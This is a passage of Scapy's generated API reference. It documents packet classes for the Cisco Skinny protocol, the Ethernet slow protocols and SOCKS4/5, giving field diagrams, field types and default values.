

	port

	LEIntField

	<RandShort>



	rate

	SkinnyRateField

	20



	codec

	LEIntEnumField

	4



	precedence

	LEIntField

	200



	silence

	LEIntEnumField

	0



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageDialedNumber(_pkt, /, *, number=b'1337', instance=1, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L359-L363]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NUMBER                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SkinnyMessageDialedNumber                  


SkinnyMessageDialedNumber fields






	number

	StrFixedLenField

	b'1337'



	instance

	LEIntField

	1



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageGeneric(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L237-L238]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.skinny.SkinnyMessageKeepAlive(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L241-L242]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.skinny.SkinnyMessageKeepAliveAck(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L245-L246]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.skinny.SkinnyMessageKeypadButton(_pkt, /, *, key=0, instance=1, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L352-L356]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              KEY                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SkinnyMessageKeypadButton                  


SkinnyMessageKeypadButton fields






	key

	LEIntField

	0



	instance

	LEIntField

	1



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageOffHook(_pkt, /, *, unknown1=0, unknown2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L249-L252]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SkinnyMessageOffHook                     


SkinnyMessageOffHook fields






	unknown1

	LEIntField

	0



	unknown2

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageOnHook(_pkt, /, *, unknown1=0, unknown2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L255-L256]

	Bases: SkinnyMessageOffHook


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SkinnyMessageOnHook                     


SkinnyMessageOnHook fields






	unknown1

	LEIntField

	0



	unknown2

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageOpenReceiveChannel(_pkt, /, *, conference=0, passthru=0, rate=20, codec=4, echo=0, unknown1=0, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L413-L424]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CONFERENCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PASSTHRU                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CODEC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ECHO                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SkinnyMessageOpenReceiveChannel               


SkinnyMessageOpenReceiveChannel fields






	conference

	LEIntField

	0



	passthru

	LEIntField

	0



	rate

	SkinnyRateField

	20



	codec

	LEIntEnumField

	4



	echo

	LEIntEnumField

	0



	unknown1

	LEIntField

	0



	callid

	LEIntField

	0











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L423-L424]

	








	
class scapy.contrib.skinny.SkinnyMessageOpenReceiveChannelAck(_pkt, /, *, status=0, remote='0.0.0.0', port=<RandShort>, passthru=0, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L433-L439]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             REMOTE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PASSTHRU                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. SkinnyMessageOpenReceiveChannelAck              


SkinnyMessageOpenReceiveChannelAck fields






	status

	LEIntEnumField

	0



	remote

	IPField

	'0.0.0.0'



	port

	LEIntField

	<RandShort>



	passthru

	LEIntField

	0



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessagePromptStatus(_pkt, /, *, timeout=0, text=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', instance=1, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L327-L332]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TIMEOUT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TEXT                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SkinnyMessagePromptStatus                  


SkinnyMessagePromptStatus fields






	timeout

	LEIntField

	0



	text

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	instance

	LEIntField

	1



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageSetLamp(_pkt, /, *, stimulus=5, instance=1, mode=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L312-L316]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            STIMULUS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SkinnyMessageSetLamp                     


SkinnyMessageSetLamp fields






	stimulus

	LEIntEnumField

	5



	instance

	LEIntField

	1



	mode

	LEIntEnumField

	2















	
class scapy.contrib.skinny.SkinnyMessageSetRinger(_pkt, /, *, ring=1, unknown1=0, unknown2=0, unknown3=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L276-L281]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RING                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN3                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SkinnyMessageSetRinger                    


SkinnyMessageSetRinger fields






	ring

	LEIntEnumField

	1



	unknown1

	LEIntField

	0



	unknown2

	LEIntField

	0



	unknown3

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageSoftKeyEvent(_pkt, /, *, key=0, instance=1, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L269-L273]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              KEY                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SkinnyMessageSoftKeyEvent                  


SkinnyMessageSoftKeyEvent fields






	key

	LEIntField

	0



	instance

	LEIntField

	1



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageSpeakerMode(_pkt, /, *, ring=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L307-L309]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RING                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SkinnyMessageSpeakerMode                   


SkinnyMessageSpeakerMode fields






	ring

	LEIntEnumField

	1















	
class scapy.contrib.skinny.SkinnyMessageStartMediaTransmission(_pkt, /, *, conference=0, passthru=0, remote='0.0.0.0', port=<RandShort>, rate=20, codec=4, precedence=200, silence=0, maxframes=0, unknown1=0, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L455-L470]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CONFERENCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PASSTHRU                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             REMOTE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CODEC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PRECEDENCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SILENCE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MAXFRAMES                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. SkinnyMessageStartMediaTransmission             


SkinnyMessageStartMediaTransmission fields






	conference

	LEIntField

	0



	passthru

	LEIntField

	0



	remote

	IPField

	'0.0.0.0'



	port

	LEIntField

	<RandShort>



	rate

	SkinnyRateField

	20



	codec

	LEIntEnumField

	4



	precedence

	LEIntField

	200



	silence

	LEIntEnumField

	0



	maxframes

	SkinnyFramePerPacketField

	0



	unknown1

	LEIntField

	0



	callid

	LEIntField

	0











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L469-L470]

	








	
class scapy.contrib.skinny.SkinnyMessageStartTone(_pkt, /, *, tone=33, unknown1=0, instance=1, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L293-L298]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TONE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            UNKNOWN1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SkinnyMessageStartTone                    


SkinnyMessageStartTone fields






	tone

	LEIntEnumField

	33



	unknown1

	LEIntField

	0



	instance

	LEIntField

	1



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageStationSelectSoftKeysMessage(_pkt, /, *, instance=1, callid=0, set=0, map=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L319-L324]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SET                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MAP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. SkinnyMessageStationSelectSoftKeysMessage          


SkinnyMessageStationSelectSoftKeysMessage fields






	instance

	LEIntField

	1



	callid

	LEIntField

	0



	set

	LEIntField

	0



	map

	LEIntField

	65535















	
class scapy.contrib.skinny.SkinnyMessageStopMultiMediaTransmission(_pkt, /, *, conference=0, passthru=0, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L486-L490]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CONFERENCE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PASSTHRU                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. SkinnyMessageStopMultiMediaTransmission           


SkinnyMessageStopMultiMediaTransmission fields






	conference

	LEIntField

	0



	passthru

	LEIntField

	0



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageStopTone(_pkt, /, *, instance=1, callid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L301-L304]

	Bases: SkinnyMessageGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INSTANCE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SkinnyMessageStopTone                    


SkinnyMessageStopTone fields






	instance

	LEIntField

	1



	callid

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyMessageTimeDate(_pkt, /, *, settime=(2024, 4, 14, 13, 5, 59), timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L340-L343]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SETTIME                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SkinnyMessageTimeDate                    


SkinnyMessageTimeDate fields






	settime

	SkinnyDateTimeField

	(2024, 4, 14, 13, 5, 59)



	timestamp

	LEIntField

	0















	
class scapy.contrib.skinny.SkinnyRateField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L392-L396]

	Bases: LEIntField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L393-L396]

	








	
scapy.contrib.skinny.cls[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L237-L238]

	alias of SkinnyMessageGeneric






	
scapy.contrib.skinny.get_cls(name, fallback_cls)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/skinny.py#L509-L511]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.slowprot


	
class scapy.contrib.slowprot.SlowProtocol(_pkt, /, *, subtype=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/slowprot.py#L24-L26]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SUBTYPE    |
+-+-+-+-+-+-+-+-+

                        Fig. SlowProtocol                         


SlowProtocol fields






	subtype

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
ESMC, LACP, MarkerProtocol












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.socks

SOCKS4/5 Protocol

You can change the server ports that are used in the SOCKS layer by editing.
conf.contribs[‘socks’][‘serverports’]


	
class scapy.contrib.socks.SOCKS(_pkt, /, *, vn=5)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L39-L75]

	Bases: Packet


	
add_payload(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L67-L75]

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       VN      |
+-+-+-+-+-+-+-+-+

                            Fig. SOCKS                            


SOCKS fields






	vn

	ByteEnumField

	5











	
guess_payload_class(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L45-L65]

	








	
class scapy.contrib.socks.SOCKS4Reply(_pkt, /, *, cd=90, dstport=80)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L108-L113]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CD      |            DSTPORT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SOCKS4Reply                         


SOCKS4Reply fields






	cd

	ByteEnumField

	90



	dstport

	ShortField

	80















	
class scapy.contrib.socks.SOCKS4Request(_pkt, /, *, cd=1, dstport=80, dst='0.0.0.0', userid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L89-L97]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CD      |            DSTPORT            |      DST      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     USERID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. SOCKS4Request                        


SOCKS4Request fields






	cd

	ByteEnumField

	1



	dstport

	ShortField

	80



	dst

	IPField

	'0.0.0.0'



	userid

	StrNullField

	b''















	
class scapy.contrib.socks.SOCKS5Reply(_pkt, /, *, rep=0, res=0, atyp=1, addr=None, port=80)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/socks.py#L161-L167]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
